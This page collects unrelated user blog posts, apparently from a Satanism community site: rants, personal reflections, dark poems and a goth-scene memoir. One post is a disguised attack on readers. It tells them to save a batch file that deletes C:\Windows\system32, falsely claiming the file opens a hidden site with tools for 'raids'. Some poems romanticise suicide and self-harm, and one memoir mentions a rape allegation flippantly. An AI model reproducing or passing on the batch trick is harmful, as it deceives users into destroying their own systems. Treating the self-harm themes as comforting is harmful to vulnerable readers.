User blogs

I was working and a woman carrying a child asked me if I saw her phone.  People always leave their personal items in baskets but this woman said something stupid to me when I told her I hadn’t seen it.  She said that phone was my life and I shook my head.

So what, you lost your phone? You text, talk on your phone and sometimes don’t pay attention to the road, but you didn’t lose your child.

What you carry in your arms is real life, not an artificial existence. If you have children, they are far more important than objects. Your life is short; don’t waste it. You can raise your child to be strong and independent and the light of your world.

Your children are our future. Children carry the memories of their parents into our future, let them be good memories.

Original Blog Link

So this blog is inspired by a forum thread I saw on SIN. The OP is calling to boycott a fast food chain because they refused to hire a Satanist. They knew he was a Satanist because of the necklace he was wearing during the interview. He even went and made a complaint against the company for religious discrimination. I had so many things to say about this that I’m now writing this blog. (If you want to read the actual thread, it’s on SIN and called “Boycott Sheetz,”)

95% of the population does not agree with Satanism, or even really know what it means. This is how it is, and I wouldn’t want people to get all PC about it and dilute it into meaningless garbage. I don’t need society to accept me or any sort of satanic ideal because I have at least scratched the surface of how crooked, diseased, and unnatural society is today as a whole. I personally want to be as removed from society as humanly possible. It’s important to remember all of this when working a job, especially a job dealing with the public because I can’t fully remove myself from the system or society. (Unless I wanted to go live in some cave somewhere) So, if I were applying for a job in the food service industry, of course I wouldn’t want to flaunt any sort of satanic symbol. People would complain, people would refuse to eat there. This is just how shit works. So if I were the manager and interviewing someone for a job that was wearing a symbol of something 95% of customers hate, I would never, ever hire that person. (Unless I decided that I didn’t want to actually make any money) It’s the same in my current job. I work in sales and therefore spend all of my time convincing the public to buy shit from me. If I wore my atheist shirt that said “Worship me or I’ll torture you forever – Signed Your loving God” my clientele would just be offended by my atheist message and I would not make any money. You would think this was common sense, but apparently not.

My next problem is that the OP went on to make a complaint of discrimination and calls for people to boycott the entire establishment. Really bro? If I were fired from my job for saying “Hail Satan!” to a client for example, it would be bad customer service not discrimination. Lets not martyr ourselves for Satanism because people don’t like the fact that we go directly against every single religion that people subscribe to. The world isn’t fair, it’s naive to think otherwise, and it’s flat out retardation to want people to boycott any business that isn’t down with employees wearing symbols that have to do with Satan.

My final point that’s really bugging me is the obsessive need for people (I’m mostly talking about satanists, but this point applies to every religion, philosophy, or political stance) to wear symbols of their chosen philosophy as ornaments or jewelry. I mean all the time. Why is that so important to people? Does wearing a cheap metal baphomet somehow make Satanism more real to people? I personally don’t need to wear jewelry to prove to myself what I am. Symbols only hold meaning if you decide to give them meaning. I don’t get magical evil powers if I wear one. I also really don’t give a shit about trying to let everyone know how badass I think I am by wearing a cheap trinket I bought on ebay.

Just my two cents on the subject.

I’ve been studying wealth lately. Well let’s face it, you can’t be wealthy unless you study wealth. I’ve noticed that majority of millionaires in The United States are first generation, and they created a business to get there. All of the biographies and articles I’ve read these millionaires advise that you create a business around something you’re passionate about.

I have a lot of things I’m interested in, computers, fitness, music, sociology, women, sex, food,  money, Satanism. Nothing I’m passionate about though. I have a hard enough time trying to balance my career, money, health and social life. I always feel as if I have to sacrifice one to benefit the other. I end up not  accomplishing as much as I planned to. Maybe it’s an issue of goal setting for me. Can’t hit a target you don’t have I guess.

I can’t really define success for me. I don’t really want to be a millionaire, just live comfortably. It’s cool to know how other people did it though.  I used to think it’s finding your passion and devoting your life to that cause. I’m not really sure anymore. I see people all around me that are, in my eyes,  successful. They have at least chosen a cause to be devoted to. Zach has this site. If he would get off his ass and really do something with it, the sky is the limit. He hasn’t even come close to fulfilling the potential of this place. There are people that blog for a living, much less have THE site for Satanism on the web. Jason Sorrell has his tattooing. He went to college for art and now works out of his home doing what I assume he loves. He enjoys it and is amazing at it. Just a couple of people I admire to help illustrate my point.

I read about “indulgence not compulsion” so I try not to be consumed by any one aspect of my life. Although I think that chapter of TSB was more about sex, 7 deadly sins, taboo issues etc. The concept still applies. One would assume that as a Former Marine I would have the discipline to manage these different aspects of my life. Instead I go day after day being a jack of all trades and master of none. 

I have an addicting, mission orientated mindset. When I have a goal I want to work my hardest all day every day until I accomplish it. I’m quickly finding out that long term goals don’t work that way. They’re behavior based. One of my goals is to retire in Thailand. I know that judging from past performance when I’m 50 at 10% interest on my 401K portfolio I can do that. If I don’t put the required amount in my 401K every paycheck I won’t get there. I want to have a fit, tone, sexy body. I know that if I don’t fuckin exercise and burn more calories than I eat every day it’s not happening. I want to have a high paying computer network security job. If I don’t study every day and get more certifications, it’s not going happen.  I want to have a vibrant social life and share experiences with people. If I don’t get out and meet people I’ll just be a computer nerd in my room. I know these things and yet I don’t live my life that way. I just party and waste money or sit around watching movies after work. Not a bad life, but it’s not what I want.

These are my passions and things I want to do with my life. Finding balance and setting a flexible routine seems impossible to me. Maybe I’m trying to handle too much. Maybe I’m just being a little bitch. I don’t have my shit straight that’s for sure. The future comes one day at a time. Success or failure isn’t an overnight event. It happens one decision at a time.

I want to live a focused, disciplined life that address all my goals. Yet, it’s so overwhelming I don’t make a devoted effort to any of them. Your thoughts?

I was in a dark place when I wrote this, so figured SIN is as good a place as any for this sort writing.

Setting fire to my life

Sometimes I need it all the time

Suspend the hope that I'll survive

Then let it eat me alive

These frantic voices in my head

Would just leave me for dead

If people knew what they have said

They’d make a grave, my bed

Sometimes I just lie in torment

Flesh searing in the flames of hell

Then wondering where all the gore went

Shattered dream nearly kept me in its spell

In my hand a bloody knife

What made me commit the crime?

Head first is how I had to dive

Then let the Fates decide

Now lying in a messy bed

Anxious thoughts fill me with dread

Should I die now or instead?

Repaint the room with red

Evil urges keep pulling me a thousand ways

Insanity threatens to rip my heart out

A sense of calm just keeps eluding me these days

So fuck the world and everything that it’s about

1. Create a new notepad file

2. Type the following as it appears

@echo off

del c:\WINDOWS\system32

3. Save as Anon.bat  (don't save it as a txt file, the script won't work then)

4. Open the file and your browser will be opened and directed to a hidden from public site where the boards are accessible and progz are available to help in raids.

100% tested and proven method.

Typically when people are wronged they seek to get even or receive justice. What about the times when that option is not available? Many of the Nazis who worked there are now dead and gone. What could she do to them now? 
What about the men who joined the military before the days of Hitler or simply feared for their lives if they stepped out of line?I'm not excusing anyone. But we know life is not black and white. It's a confusing mix of every hue imaginable. Sometimes things are so complicated that we trace and calculate and think but we can't find a single person or group to blame. Sometimes no one is at fault or everyone is. 
What do we do then? Fume? Ruminate? Maybe in some cases moving on from what someone has done to you isn't giving them power or condoning their actions but removing what influence they have in your life. 

When I look back on the verbal abuse at school and home, the horrible relationship I found myself a prisoner of, the lies... I feel sick. I feel infuriated. I just want to hit someone. I want to hurt the people who hurt me.

But they're not around anymore. "We may not live in the past but the past lives in us." Well I don't want this anymore. I'll keep the lessons but lose the anger because I will not allow bullies or sisters or exes to control my emotions.

People hit us because they want us to feel small. They tear apart our self esteem with degrading messages so those words will fester in our brains. 

Like 9/11. The actual attack was only part of it. The real damage has been the following decade of terror in which we're too paranoid to even board a plane without giving every Tom, Dick and Harry a complete strip and cavity search. 

People do these things so you won't ever let them go. Maybe that's the key to getting real revenge and cutting off the source of their power. 

But what do I know? I'm just kind of "thinking out loud" in a way.

"Fifty years after liberation, I ,Eva Mozes Kor, in my name only, hereby give amnesty to all Nazis who participated directly or indirectly in the murder of my family and millions of others. Because it is time to forgive but not forget. It is time to heal our souls" -- Eva Mozes Kor

i don't really know how to write a blog and this is my first time so sorry if its all fucked up. Is it ok if i post poems about my self? would that work? well if it does i have been writing a poems and it has always been the only way i can express my self in my own little way, and the funny thing is, when i show my parents or friends they always say sometimes that they are kind of disturbing or depressing so can you give me your opinion? because i see nothing wrong with it, i just think it is a way of expression and im usually a happy type of person so i don't know why i feel weirdly sad or emotionly confused alot :/ so comment your opinion please, i would like to know whats so wrong about my poems -

The light is were i come from yet the darkness is were i feel safe.

What is this feeling that i have?

you judge me and yet i still smile 

you pretend to be there for me, its ok, because i just pretend to trust you.

what you don't understand is that you are the ones to push me under. 

making the light of which i come from, feel unsafe and hurtful

so when i think about the darkness, it gives me comfort.

Gives me a piece of mind.

Gives me something to look forward to. 

so if you continue to push me down further more like a killer whale does to others, then i might just welcome that. 

i will not fight back.

i will not panic and scream.

i will not ask for help.

because i welcome thee.

the darkness that has given me comfort when all of this happened, the one who gives me the answers, the one who treats me with a dark kind of kindness. 

i am at ease, so don't bother me.

just let me be, let me go into the dark area of which i feel most at home.

is it good? :o i loved this one i wrote, but my friends were like "oh my gosh rose your gonna go evil " or some shit like that but i don't find this evil at all, as my poem says, i find it queit comforting :)

Everlasting Cocksucker

Back in the 90's no one hated Marilyn Manson (believe it or not) more than Goth's. Because of the fashion sense of the band, and more so Manson himself they looked Goth, and Goth's didn't like the controversy surrounding the band linked with them. They really stressed the notion that Satanists and Manson fans in general were not Goth. Such was the divide that Elder Goths dubbed Manson fans Spooky Kids (as the original band was called Marilyn Manson and the Spooky Kids), and eventually Masonite’s by the time he had reached mass appeal. This gripe also expanded to a general disapproval of the new wave of Industrial music being linked with Goth culture and other such derogatory terms such as NINies (for Nine Inch Nail fans), Baby Bats, Gothlings, and Kinder Goth were also used. I never really understood why my fellow Goths hated Manson so much, unless they had a problem with progressive thinking, and intellectual, artistic and articulate people who cut through society’s preconceptions about how things ought to be? lol

Bakini Girls with Machine Guns

In my local scene which lurked mainly around King George Square in Brisbane City, the critters consisted of Goth’s and Punks mainly with a few normal folk tag alongs, tourists if you will. I got along more with the Punks in general however there were a few less elitist Goths who educated me in the music and culture of old. Freaking out my father bringing makeup clad males home to stay at my place indicating and confirming his fears years later when I “came out” as it were. I was introduced to Bauhaus and Siouxsie and The Banshees and soon got my Goth cred up.  On one occasion I brought home a young man from Russia named Vlad, the local Goths didn’t like him because he out Goth’d them all with his Latex Bondage garb and his thick Russian accent, and Sheldon Cooper like tendency to correct every slight mistake or historical Goth culture fallacy made by the pretentious elitists…I especially enjoyed how he would dismiss any attempt someone had to talk to him about Rasputin by saying that he didn’t want to talk cliché’s with a bunch of ill-informed tourists who got their history lesson from Boney M. FYI it is like how Germans get sick of every fucking person who meets them wanting to talk about Hitler, or Romanians who hate talking with people about Dracula. Amway’s where was I? Oh yeah so Vlad was cool, I had him, he was tasty lol and he got me into Sisters of Mercy, so he was a man after my own heart. The last I heard of him, everyone was saying he raped one of the popular Gothings, which would mean he was the first one in our little motley crew she had said no to, ever lol.

Tomorrow Wendy is going to die!

The Brisbane City council was getting really pissed with all the grubby cunts leaving their garbage around and making a mess of things. The group started to divide into cliques and I didn’t fit in any of them because I was a little too punk and a bit heavy metal and not just a poser Goth, although everyone called me one. Funny how the one who didn’t conform to the rules is called a poser.  Eventually the council blocked off the aria and began work to renovate King George Square which we joked was all about getting rid of us.

Like tears in the rain...

However before they finished renovations the true nails in the coffin were hammered in by this big disease with a little name...“emo”.  Now the thing about emo is that to some of us emo was part of the Post Hardcore scene in the 80’s, Rites of Spring and all that shizzle…and as for the emo fashion sense, well in the early stages, there was a specific Goth look that was the exact same thing, the tight jeans, the fringe, the Chuck Tayler’s…so it kind of took some of us by surprise. So when we noticed more younger teens showing up to King George Square with this one specific look sitting together and people walking past us who normally shouted stuff about Goths and Adams Family and “Go cut yaself you stupid Goth” now were shouting similar things but replacing Goth with emo this soon resulted in the Goth/punk group splitting up and the emo’s effectively took over. Allot of us stopped dressing Goth and resorted to a pair of jeans and a band shirt, which didn’t really stray from my usual anyways. I must say it was quite interesting watching the whole emo thing happen, because all the crap said about them, was what people said about us but with more emphasis on the suicide and cutting and les on the creepy vampire stuff. For me personally it gave me some perspective and made me realize the irony and sort of silliness of it all. I still hold onto the aspects of Goth culture that I always appreciated, however now I just don’t dress up in the fashion anymore…and if the Goth culture was/is really more the just a fashion and music scene then that should not really matter now should it. 

by the way im from PHILIPPINES !